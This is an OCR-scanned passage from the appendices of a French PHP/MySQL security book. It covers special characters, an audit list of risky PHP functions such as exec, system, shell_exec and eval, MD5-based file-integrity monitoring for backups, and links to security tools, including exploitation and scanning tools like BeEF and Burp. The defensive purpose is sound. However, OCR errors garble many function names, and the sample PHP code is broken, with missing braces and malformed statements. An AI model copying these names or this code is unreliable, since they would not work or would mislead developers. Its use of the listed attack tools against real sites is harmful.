— quotemeta() ;

— ctype_alnum(), ctype_alpha(), ctype_cntr1(), ctype_digit(), ctype_graph(),
ctype_Tlower(), ctype_print(), ctype_punct(), ctype_space(), ctype_upper(),
ctype_xdigit() ;

— addslashes(), addcsTashes().
* Nombre
is_numeric(), is_int(), is_double().
» Variables
— filter_input_array(), filter_input() ;

— filter_var_array(), filter_var().

» Booléen
— is_bool().
* Image

— getimagesize().

Caractéres spéciaux

Voici une petite liste des caractéres spéciaux auxquels il faut faire attention lors de la
construction du résultat d'un script PHP ou des commandes envoyées a une ressource
externe.

o <Cet>
— balisessHTML et XML ;
— informations complémentaires dans une adresse électronique ;
— opérateurs mathématiques en PHP, JavaScript et MySQL.

o ‘gt

représentation classique de valeurs littérales;
utilisés dans les attributs XML et HTML.

délimiteur de table dans une requéte MySQL ;
délimiteur de commande Shell depuis PHP.
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séparateur de dossier sous Unix ;

souvent utilisé comme délimiteur de motif d’ expression rationnelle ;
en doublet : commentaire PHP, JavaScript ou SQL.

caractére classique de protection dans une chaine ;

séparateur de dossier sous Windows.

joker universel avec I’ opérateur LIKE ;

caractéreinitial d’ entité URL.

e _ (souligné, ou underscore)

joker unitaire avec I’ opérateur LIKE.

entite HTML ;
opérateur logique en PHP et JavaScript ;
exécution asynchrone en Shell.
e (€l)
— sous-requéte SQL.

® \r,\n
— Séparateursd’ en-t&te HTTP;
— Séparateurs d’ en-téte de courrier électronique.

fin de requéte SQL ;
find' entité HTML ;
fin d'uneinstruction PHP, JavaScript et bien d’ autres langages de programmation ;

séparateur de style CSS.

* | (pipe)

enchalinement de processus;

opérateur logique ou classique (SQL, PHP).

espace dans une URL ;

opérateur mathématique universel d’ addition.
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* \0 (Caractére Null)
— fin de chaine de caractéres en C.
o |

— négation logique.

préfixe de variable en PHP ;
fin de model e dans une expression réguliere.

— Séparateur dans une adresse courrigl ;
préfixe de variable en MySQL.

e - (tiret, ou signe moins)

— opérateur mathématique universel de soustraction ;
— endoublet : commentaire SQL.

Fonctions citées dans le livre

Nous avons rassemblé dans cette annexe la liste des fonctions qui sont citées dans cet
ouvrage. Elles I'ont été pour diverses raisons: vulnérabilité potentielle, fonction de
protection, comportement particulier, fonction peu connue. Danstousles cas, leur utilisa-
tion a une relation certaine avec le niveau de sécurité de votre application.

Nous vous proposons de prendre les fonctions de cette liste, de vérifier si vous les utilisez
ou pas dans vos scripts €t, le cas échéant, de vérifier que les mesures de précaution ont
bien été prises.

Vous pouvez vous servir del’index pour retrouver toutes les explications reliées a chaque

fonction.

* addcslashes(); * ctype_alnum() ;
* addslashes() ; * ctype_alpha() ;
* array() ; e ctype_cntrl() ;
* assert() ; * ctype_digit() ;
e checkdnsrr() ; e ctype_graph() ;
e chroot() ; e ctype_lower() ;
e copy() ; ® ctype_print() ;

* crypt() ; e ctype_punct() ;
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ctype_space() ;
ctype_upper() ;
ctype_xdigit() ;

curl_error() ;

imagettftext() ;
imap_errors() ;
imap_open() ;

imap_utf8() ;

* curl_exec() ; * import_request_variables() ;
e curl_init() ; ® include_once() ;
e die() ; ® include() ,

e d1() ; e ini_get() ;

* escapeshellarg() ; e ini_set() ;

* escapeshellcemd() ; e ip2long() ;

* eval() ; * dis_array() ;

* exec() ; * is_bool() ;

e exit() ; e ds_dir() ;

e extract() ; * is_double() ;

o file_exists() ; * is_executable() ;
e file_get_contents() ; e is_float() ;

e file() ; * is_int() ;

e filesize() ; ° dis_Tink() ;

e fopen() ; e is_long() ;

e fsockopen() ; ® is_numeric() ,
e get_defined_functions() ; * is_object() ;

® get_headers() ; * is_readable() ;
* getenv() ; e is_real() ;

* getimagesize() ; * is_resource() ;
* glob() ; e is_scalar() ;

* header() ; e is_string() ;

* htmlentities() ; e is_writeable() ;
* htmlspecialchars() ; * isset() ;

e dconv() ; e mail() ;

® ignore_user_abort() ; ° md5() ;

* imagechar() ; * memory_get_peak_usage() ;
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memory_get_usage() * require_once() ,
mktime() ; * require() ;
mysql_connect() ; ® scandir() ;
mysql_errno() ; * session_destroy() ;
mysql_error() ; * session_regenerate_id() ;
mysql_pconnect() ; * session_set_save_handler() ;
mysqli_connect_error() ® session_start() ;
mysqli_connect() ; * set_execution_time() ;
mysqli_errno() ; e set_include_path() ;
mysqli_error() ; * set_magic_quotes_runtime() ;
mysqli_multi_query() ; e set_time_limit() ;
mysqli_query() ; * setcookie() ;
mysqli_real_escape_string() ; * setrawcookie() ,
ora_open() ; * shell_exec() ;
parse_str() ; * sleep() ;
parse_url() ; * socket() ;
passthru() ; e sqlite_open() ;
pg_connect() ; e sqlite_query() ,
pg_escape_string() ; e str_replace() ;
pg_last_error() ; * str_rotl3() ;
phpinfo() ; ® stripslashes() ;
popen() ; e strien() ;
preg_replace_callback() ; * strtoupper() ;
preg_replace() ; ® substr() ;
printf() ; e symlink() ;
proc_open() ; * sys_get_temp_dir() ;
putenv() ; e system() ;
quotemeta() ; e tempnam() ;
realpath() ; e time() ;
register_shutdown_function() ; e unlink() ;

register_tick_function() ; * usleep() ;






Sauvegardes

N’ oublions pas une stratégie de protection classique : la mise en place des sauvegardes.
C’est un peu comme les extincteurs dans nos maisons: ils sont encombrants, codtent
cher et ne sont presque jamais utilisés... Cependant, lorsque survient I’ accident irrémé-
diable, on seféicite d'y avoir pensé.

On distingue deux types d’informations a sauvegarder : |’ application et les données.

Sauvegarde de I'application

La sauvegarde de I’ application se fait idéalement durant e processus de dével oppement
et al’aide d'un serveur de contréle de versions. Ce dernier sert au développement en
équipe et concentre toutes les modifications des scripts au fur et a mesure des évolutions
du code. Lors de lamise en production, le code testé est d’ abord marqué avec un numéro
de version, puis misen ligne.

Danslecasd un désastre ou d’ uneintrusion, le code est bien sauvegardé dans un systeme
indépendant et il est facile de récupérer une copie fraiche et intacte de I’ application.

Automatiser la remise en état

Pour pouvoir reprendre rapidement apres un incident, il est important d’ automatiser la
mise en production du code. Cela signifie que la mise en production d’ une version propre
de I’ application doit pouvoir se faire d’un simple appel de script, en une seule ligne. Au
beau milieu de latempéte, cela sera un avantage substantiel.
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Automatiser la surveillance du code

A partir du serveur de sauvegarde, il est aussi possible de monter un robot de surveillance
des codes source. A I’ aide du programmateur d événements de votre systéme, comme le
célébre cron du monde Linux, un script PHP s exécute a intervalle régulier et effectue
une comparaison des scripts en production avec ceux qui sont dans le serveur de sources.
Si le robot détecte une différence, il met de coté le code fautif, extrait une nouvelle
version propre et en informe I’ administrateur.

Lacomparai son peut se faire directement al’ aide des outils de contréle de versions, telsque :

Prompt> cvs diff
Prompt> svn diff

Elle peut aussi étre organisée sans ces outils. || faut alors procéder en deux étapes. Au
moment de la mise en production, e robot passe une premiere fois pour identifier les
fichiers a surveiller. Pour chague script, il prend une signature MD5 de tous les fichiers.
Il note chaque signature dans un fichier, avec le chemin du fichier.

<{?php

$signatures = scanne_dir('./web');
file_put_contents('/path/secret/signatures.inc.php', '<?php $signatures
== "' _var_export($signatures, true).'; ?>');

function scanne_dir($path) {
$retour = array();
if (!$fichiers = scandir($path)) {
return $retour;

foreach($fichiers as $fichier) {
if ($fichier{0} == ".") { continue; }

if (is_dir("$path/$fichier")) {

$retour = array_merge($retour, scanne_dir("$path/$fichier"));
} else {

$retour["$path/$fichier"] = md5_file("$path/$fichier");

}
return $retour;

[

Le fichier de signatures ainsi généré peut étre modifié, manuellement ou automatique-
ment, pour exclure certains fichiers ou extensions de fichiers.

Dans un deuxiéme temps, le robot se sert de cette liste pour vérifier que les scripts n’ ont
pas été modifiés.
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<?php

include('/path/secret/signatures.inc.php');
$test = verifie_dir('./dossier', $signatures);

print_r($test);

function verifie_dir($path, $signatures) {
$retour = array();
if (!$fichiers = scandir($path)) {
return $retour;

}

foreach($fichiers as $fichier) {
if ($fichier{0} == ".") { continue; }

if (is_dir("$path/$fichier")) {
$retour = array_merge($retour, verifie_dir("$path/$fichier", $signatures));

} else {

if ($signatures["$path/$fichier"] != md5_file ("$path/$fichier")) {

$retour[] = "$path/$fichier";

}

}
}

return $retour;

7>

Latechnique du robot de surveillance vous permet de tester en permanence un site. Elle
permet également de prendre des mesures de correction dés qu’ un probléme est détecté,
tout en le signaant a I'administrateur. Le robot est particulierement adapté pour
surveiller lesfichiers qui ne changent pas, comme des scripts d’ application.

Sauvegarde des données

Du point de vue de la sécurité, la sauvegarde des données est plus délicate. |1 faut bien sir
étre capable de copier les données sans perturber le systéme en fonctionnement, ce qui
est d§aun métier en soi.

Malheureusement, il n’est pas possible de comparer les données placées sur e serveur
avec une valeur de référence, comme ¢’ est |le cas avec le code source. La solution laplus
fiable est donc la copie pure et simple des données sur un systeme secondaire.

Sécurité du support de stockage

Le systeme de stockage est Iui-méme un point de sécurité a surveiller ; par exemple,
imaginez que la base de données soit sauvegardée réguliérement tous les jours, sur des
disgues numériques amovibles. Les disques de sauvegarde doivent maintenant faire
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partie de votre plan de sécurité. En effet, que se passerait-il si un employé en prenait un
pour I’emmener aprésletravail ? Lafuite d’ information ne passe plus par le réseau, mais
par I accés physique avos bureaux. En 2003, Douanes Canada s est fait voler des disques
durs contenant les dossiers confidentiels de 120 000 Canadiens...

Restauration des données

Lorsque les données sont en sreté, il est aussi important de tester le systéme qui les
restaurera le cas échéant. En effet, ce dernier n’est sollicité que lorsgue la catastrophe
frappe et, ¢’ est bien connu, |es extincteurs tombent toujours en panne quand le feu prend.
Il est donc important de s exercer arestaurer les données dans des conditions favorables,
pour ne pas étre pris au dépourvu quand la situation I’ exigera.



Ressources web

Internet regorge de ressources utiles, qu'il s'agisse d’ outils logiciels ou de sites d’infor-
mation et d’ explication. Nous vous proposons une liste des sites qui nous semblent les
plus intéressants dans le cadre de cet ouvrage.

Outils utiles

Les outils citésici sont tous tres utiles et il est bon de les avoir sous la main. Cette liste
est reprise sur les sites de nexen.net, http://www.nexen.net/securite/outils.php, €t de
PHPortail.net, http://www.phportail.net/annuaire/20-securite.php

PHP et MySQL
Suhosin
http://www.hardened-php.net/suhosin/index.html

Suhosin est un patch de sécurité avancé pour PHP, qui protége la plate-forme contre des
vulnérabilités connues et inconnues. |l propose notamment des directives de configuration
supplémentaires plus précises, des listes blanches et noires pour les inclusions de code,
des protections supplémentaires pour mail1(), header() €t preg_replace(), le chiffrement
transparent des cookies et des sessions, ainsi que des enregistrements en logs.

PhpSecinfo

http://phpsec.org/projects/phpsecinfo

PhpSeclnfo est une classe qui analyse la configuration de PHP et indique immédiatement
les points qui méritent d’ étre étudiés voire modifiés, pour suivre les recommandations du
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groupe PHP. Cet outil identifie les erreurs de configuration les plus courantes et éduque
les utilisateurs & une gestion responsable des directives.

Outils de filtrages

SafeSQL

http://www.phpinsider.com/php/code/SafeSQL

SafeSQL est une classe PHP qui se charge de nettoyer les données qui iront dans une
requéte SQL, les protégeant contre les injections et autres malformations éventuelles
provenant des données utilisateurs. Elle a été essentiellement testée avec MySQL et
ANSI SQL.

sql_inject

http://www.phpclasses.org/browse/package/1341.html

Il S'agit d’une classe PHP qui analyse les valeurs destinées aux requétes SQL, avant
gu’ elles ne compromettent le serveur.

PHP Validation

http://www.benjaminkeen.com/software/php_validation

Voila une petite bibliothéque de validation, avec un grand nombre de contraintes et de
formats.

PEAR Validate

http://pear.php.net/package/validate

Il s'agit des classes de validation de |a bibliotheque PEAR de PHP. Elles sont disponibles
pays par pays. Une classe générale répond aux problémes de filtrage les plus courants :
nombres, adresse électronique, URI, dates, etc.

Robots de tests
Rats

http://www.securesoftware.com/resources/download_rats.html

RATS, acronyme de Rough Auditing Tool for Security, est un outil & code ouvert qui
analyse le code PHP ainsi que C/C++, Python et Perl, a la recherche de vulnérabilités
potentielles ou avérées.

Nikto

http://www.cirt.net/code/nikto.shtml

Nikto teste une application web depuis le Web : e robot teste sur le site de nombreuses
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vulnérabilités identifiées dans les sites dédiés, pour les repérer et vous éviter d' étre
victime des problémes les plus courants. Les bases de Nikto incluent un grand nombre de
vulnérabilités d’ applications PHP,

Fierce Domain Scan

http://ha.ckers.org/fierce

Fierce est un auditeur de sécurité web. |1 est notamment capable de tester des domaines qui
ne sont pas continus. Il aété congu pour analyser un domaine et identifier des sites qui sont
des cibles potentielles pour une attaque web. Fierce est un outil de reconnaissance.

Burp

http://portswigger.net/suite

Burp est une suite d’'applications qui collaborent pour tester une application web de
maniére systématique : le proxy enregistre vos visites sur le site, puis le spider passe en
revue tout le site et le repeater exécute a nouveaux les mémes opérations. Enfin, Iintruder
facilite lamise en place d’ attaques.

Chorizo!

http://www.chorizo-scanner.com

Chorizo! est un proxy installé entre votre application et votre navigateur : au fur et a mesure
de votre navigation, il teste les différentes pages avec de nombreuses valeurs pour identifier
un maximum de vulnérabilités. Chorizo! est un service payant et fonctionne en intranet.
BeEF

http://www.bindshell.net/tools/beef

BeEF est un utilitaire qui améiore les possibilités d’ exploitation de XSS. Alors qu'il est
souvent simple d'exploiter une vulnérabilité pour seulement faire apparaitre une aerte
JavaScript *xss’, BeEF permet de prendre effectivement controle du navigateur a distance.

PHP Honeypot Project

http://www.rstack.org/phphop

Un projet de pot de miel en PHP, destiné a attirer les pirates pour mieux les identifier et
S en protéger.

15 scanners d’injections SQL

http://www.security-hacks.com/2007/05/18/top-15-free-sql-injection-scanners
http://www.security-hacks.com/

Security-hacks a rassemblé 15 outils qui permettent de réaliser un audit automatique
des pages web contre les injections SQL. Divers serveurs sont couverts, et notamment

MySQL.


http://ha.ckers.org/fierce
http://portswigger.net/suite
http://www.chorizo-scanner.com
http://www.bindshell.net/tools/beef
http://www.rstack.org/phphop
http://www.security-hacks.com/2007/05/18/top-15-free-sql-injection-scanners
http://www.security-hacks.com/
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Ces outils sont intéressants a étudier, car ils exploitent chacun une ou plusieurs conditions.
L orsque vous en connaitrez plus sur les philosophies d’ attaque, vous pourrez mieux vous
protéger.

Actualités
Sécurité PHP

llia Alshanetsky

http://www.ilia.ws

Le blog d'lliaAlshanetsky, un pilier du groupe PHP, porte un regard particulier sur les
aspects sécurité et performances de PHP. llia est I’ un des responsables des publications
de PHP et de |’ assurance qualité.

Chris Shiflett

http://www.shiflett.org

Il s'agit du blog de Chris Shiflett, I’ un des experts PHP les plus connus.

Stefan Esser

http://blog.php-security.org

Stefan Esser est I’ un des experts de la sécurité PHP les plus agressifs sur le marché. On
lui doit de nombreuses découvertes de vulnérabilités, en PHP comme pour d autres
applications web.

Php Secure.info

http://www.phpsecure.info/v2/.php

Voici un site qui recense les vulnérabilités de PHP et de différentes applications web, telles
que publiées officiellement sur des sites de référence tel's que securityfocus, CERT, secunia,
frSIRT, ou security Tracker. On trouve aussi plusieurs articles sur la séeurité, en francais.
Consortium de sécurité PHP

http://phpsec.org

PHP Security Consortium : ce site web est dédié a la sécurité PHP. Vous y trouverez des
articles de fond ainsi que des projets consacrés a la sécurité.

Documentation PHP sur la sécurité

http://www.php.net/manual/fr/security.php

Vous trouverez a cette adresse le chapitre de la documentation PHP consacré ala sécurité,
traduit en francais.


http://www.ilia.ws
http://www.shiflett.org
http://blog.php-security.org
http://www.phpsecure.info/v2/php
http://phpsec.org
http://www.php.net/manual/fr/security.php
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Wiki Secure PHP

http://www.securephpwiki.com

Cewiki est consacré ala sécurité PHP et comporte beaucoup d’ explications de fond sur
les mécanismes d’ attaque et de défense des applications PHP contre |es menaces du Web.
Nexen.net

http://www.nexen.net

Portail PHP et MySQL, avec de nombreuses informations consacrées a la sécurité :

» Alertes de sécurité : dépéche qui parait tous les samedis, avec la liste des alertes de
sécurité les plus importantes de la semaine.

e Lecoin delasécurité : dossier mensuel sur les pratiques de la sécurité en PHP, écrits
par llia Alshanetsky et Chris Shiflett, traduits en francais.

 Lettre hebdomadaire PHP et MySQL : c'est un excellent moyen pour se tenir au
courant des changements de versions des plates-formes. Vous recevez un flash spécial
lorsgu’ une nouvelle version de PHP ou MySQL est publiée.

PHPortail.net
http://www.phportail.net
PHPortail propose des aides, tutoriels, cours, forums et nouvelles sur PHP, afin de vous
faire découvrir ce langage ou vous perfectionner. PHPortail propose aussi des aertes de
securité ainsi qu’ un annuaire d’ outils.

Sécurité MySQL
Documentation MySQL sur la sécurité
http://dev.mysql.com/doc/refman/5.0/fr/security.html
Le chapitre de la documentation MySQL concernant la sécuritéy est traduit en francais.

MySQL Network Scanner
http://www.securiteam.com/tools/6YO0LOUSPC.html
V,oici.urj outil qui scanne tout un réseau a la recherche de bases de données MySQL mal
Securisees.
Sécurité des applications web
Ha.ckers.org
http://ha.ckers.org

Le blog de RSnake propose de nombreuses dépéches dans le domaine de la sécurité des
applications webh. Les concepts et les prototypes ne sont pas reliés directement a PHP,


http://www.securephpwiki.com
http://www.nexen.net
http://www.phportail.net
http://dev.mysql.com/doc/refman/5.0/fr/security.html
http://www.securiteam.com/tools/6Y00L0U5PC.html
http://ha.ckers.org

236

Annexes

PARTIE 5

mais sont parfaitement utilisables. Notez en particulier une excellente liste d’ exemple
d’injections XSS qui fonctionnent et qui pourraient passer outre de nombreux filtres.
Jeremiah Grossman

http://jeremiahgrossman.blogspot.com

Le blog de Jeremiah Grossman est souvent relié bilatéralement avec celui de Rsnake. On
y trouve notamment une collection des hacks de 2006, avec les inventions de I’ année en
termes de techniques d’ attaque.

Jungsonn studios

http://www.0x000000.com

Le blog de Jungsonn, consacré ala sécurité des applications web.

OWASP

http://www.owasp.org/index.php/Main_Page

Ce site est celui de Open Web Application Security Project, consacré & la sécurité des
applications web. C'est une mine d'informations.

Sites de vulnérabilités

SecurityFocus : http://www.securityfocus.com (en anglais) ;

Secunia: http://www.secunia.com (en anglais) ;

FrSIRT : http://www.frsirt.com (en anglais) ;

CVE, Common Vulnerabilities and Exposure : http://cve.mitre.org (en anglas) ;

OSVDB : http://www.osvdb.org (en anglais).

Sans.org

http://www.sans.org/top20

Ce site dresse la liste des 20 principales menaces de sécurité de I’ année en cours pour
les ordinateurs.

CGl security

http://www.cgisecurity.com

http://www.cgisecurity.com/articles

Il s'agit d'un site d’ actualités concernant la sécurité des applications web. || propose entre
autres plusieurs foires aux questions sur la sécurité, sur différentes attaques et méthodes
de défenses a mettre en place.


http://jeremiahgrossman.blogspot.com
http://www.0x000000.com
http://www.owasp.org/index.php/Main_Page
http://www.securityfocus.com
http://www.secunia.com
http://www.frsirt.com
http://cve.mitre.org
http://www.osvdb.org
http://www.sans.org/top20
http://www.cgisecurity.com
http://www.cgisecurity.com/articles
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Web Application Security Consortium
http://www.webappsec.org

WASC (Web Application Security Consortium) est un groupe d experts internationaux
qui se sont fédérés pour élaborer une démarche Open Source de sécurité sur le Web. Le
site propose différents projets et des articles de fond sur la sécurité.

Bases de données de MD5
http://gdataonline.com/seekhash.php

C’ est une base de données de signatures MD5. Elle permet de résoudre les signatures les
plus courantes, a partir des mots qui ont été inséré dans la base. C'est un bon point de
départ pour vérifier la robustesse d’ un mot de passe. Evidemment, une fois que vous
aurez testé un mot de passe dans cette base, il seraenregistré et facile aretrouver viacette
méme base...

http://md5.benramsey.com/

Cette seconde base de données interroge, pour une signature donnée, plusieurs autres
bases du méme type.

Firefox Web Developer Tools
http://chrispederick.com/work/webdeveloper

Cette extension de FireFox/Mozilla/Flock fournit un ensemble de menus complémentai-
res au navigateur et permet d' analyser une page web, tant au niveau du contenu que de la
forme. En termes de sécurité, il est possible de voir et modifier les cookies, delire les en-
tétes HT TP échangés, de modifier la signature du navigateur, ou encore de convertir tous
les champs d’un formulaire en champs de texte. Cette extension est un outil incontournable
pour les webmestres et |es dével oppeurs.

Google Code Search
http://www.google.com/codesearch

Le fameux moteur de recherche a indexé des centaines de projets Open Source, y
compris nombre de projets PHP. Si vous recherchez des exemples d utilisation de fonc-
tions PHP ou MySQL, ou encore des failles de sécurité, ce moteur vous permettra de
fouiller rapidement et avec des expressions rationnelles.

Koders

http://www.koders.com

Voici un autre moteur de recherche consacré au code. Koders effectue des recherches
dans de nombreux dépbts de code. | n’a pas regu I’ attention médiatique du Code Search
de Google, mais est bien plus ancien.


http://www.webappsec.org
http://gdataonline.com/seekhash.php
http://md5.benramsey.com/
http://chrispederick.com/work/webdeveloper
http://www.google.com/codesearch
http://www.coders.com
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Anti-seches

XSS

http://ha.ckers.org/xss.html

Voici la liste la plus compléte de formes de XSS, comprenant toutes les variations de
représentation de caractéres, les astuces de balises et d' attributs.

Injections SQL

http://www.0x000000.com/?i=14&bin=1110

http://www.0x000000.com/

Liste tres compléte des types d' injections SQL possibles, par Ronald van den Heetkamp.
Lereste du blog est aussi ala pointe des techniques de sécurité.

Filtrages et protections PHP

http://pixelated-dreams.com/uploads/misc/cheatsheets/FilteringAndEscaping-
CheatSheet.pdf

Fichier PDF téléchargeable et réalisé par Davey Shafik. Filtering and escaping cheat
sheet cite les différentes fonctions de protection disponibles pour HTML, XML, SQL et
commandes Shell.

Apache security cheat-sheet

http://www.petefreitag.com/item/505.cfm

Cette liste de sécurité concerne le serveur web Apache.

Les fonctions PHP peu compatibles avec UTF-8
http://www.phpwact.org/php/il8n/utf-8

Cet article recense les fonctions PHP et leur degré d' affinité avec les caractéres UTF-8.
Ces problemes seront résolus en PHP 6, mais en attendant, il arrive qu’ une fonction PHP
modifie des octets, et perturbe la structure des chaines multi-octets. Au final, cela peut
ouvrir la porte aux injections HTML. Cette site est donc une référence des fonctions a
surveiller.


http://ha.ckers.org/xss.html
http://www.0x000000.com/?i=14&bin=1110
http://www.0x000000.com/
http://pixelated-dreams.com/uploads/misc/cheatsheets/FilteringAndEscaping-
http://www.petefreitag.com/item/505.cfm
http://www.phpwact.org/php/i18n/utf-8
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Sites cités

Nous avons recensé dans cette section, sans ordre particulier, tous les sites cités dans

lelivre:

e http://www.php.net, le site officiel de PHP;

e http://pecl.php.net, le site des extensions PHP;

* http://bugs.php.net, le site des bogues PHP;

e http://www.mysql.com, le site officiel de MySQL ;

e http://dev.mysql.com, le site des développeurs MySQL ;

* http://bugs.mysql.com, le site des bogues MySQL ;

e http://chrispederick.com/work/webdeveloper, le site des developer tools pour FireFox
et Mozilla;

* http://www.fileinfo.net, un site de référence pour les extensions de fichiers et les
formats associés ;

e http://www-128.ibm.com/developerworks/web/1ibrary/wa-bayesl, les filtres bayésiens
pour identifier les spams;;

* http://www.clamav.net, Un anti-viruslibre, compatible avec PHP;

e http://phpmailer.sourceforge.net, une classe pour construire ses courriels de maniéere
sécurisée ;

* http://www.spamhaus.org/, Un Site qui recense les spammeurs et leurs adresses P ;

e http://www.ilovejackdaniels.com/php/email-address-validation, un tutoriel jpour
valider une adresse de courrier électronique ;

* http://choon.net/php-mail-header.php, un patch PHP pour gouter des en-tétes aux
courriels sortants ;

* http://ilia.ws/archives/149-mail-Togging-for-PHP.html, une future fonctionnalité
pour enregistrer les courriels sortant de PHP ;

e http://directory.fsf.org/html2pdf.htm1, application qui convertit les fichiers HTML
en PDF;

* http://www.fpdf.org, Une bibliotheque pour créer des fichiers PDF sans extension
particuliere ;

e http://bluga.net/webthumb, Un générateur de copies d’ écran sous Mozilla;
e http://validator.w3.org, levalidateur des standards du W3 Consortium ;

e http://www.google.com/tools/firefox/safebrowsing, une barre de navigation pour iden-
tifier les sites de phishing ;

* http://elsapl.unicaen.fr/dicosyn.html, un dictionnaire des synonymes francais;


http://www.php.net
http://pecl.php.net
http://bugs.php.net
http://www.mysql.com
http://dev.mysql.com
http://bugs.mysql.com
http://chrispederick.com/work/webdeveloper
http://www.fileinfo.net
http://www-128.ibm.com/developerworks/web/library/wa-bayes1
http://www.clamav.net
http://phpmailer.sourceforge.net
http://www.spamhaus.org/
http://www.ilovejackdaniels.com/php/email-address-validation
http://choon.net/php-mail-header.php
http://ilia.ws/archives/149-mail-logging-for-PHP.html
http://directory.fsf.org/html2pdf.html
http://www.fpdf.org
http://bluga.net/webthumb
http://validator.w3.org
http://www.google.com/tools/firefox/safebrowsing
http://elsap1.unicaen.fr/dicosyn.html

Annexes
PARTIE 5

240

e http://gdataonline.com, une base de données de signatures MD5 ;
e http://www.rstack.org/phphop, Un projet de pot de miel en PHP;
* http://httpd.apache.org/docs/1.3/suexec.html, SUEXec pour Apache;

* http://www.dotdeb.org, despaquets Debian pour PHP, MySQL et autres, par Guillaume
Plessis.


http://gdataonline.com
http://www.rstack.org/phphop
http://httpd.apache.org/docs/1.3/suexec.html
http://www.dotdeb.org
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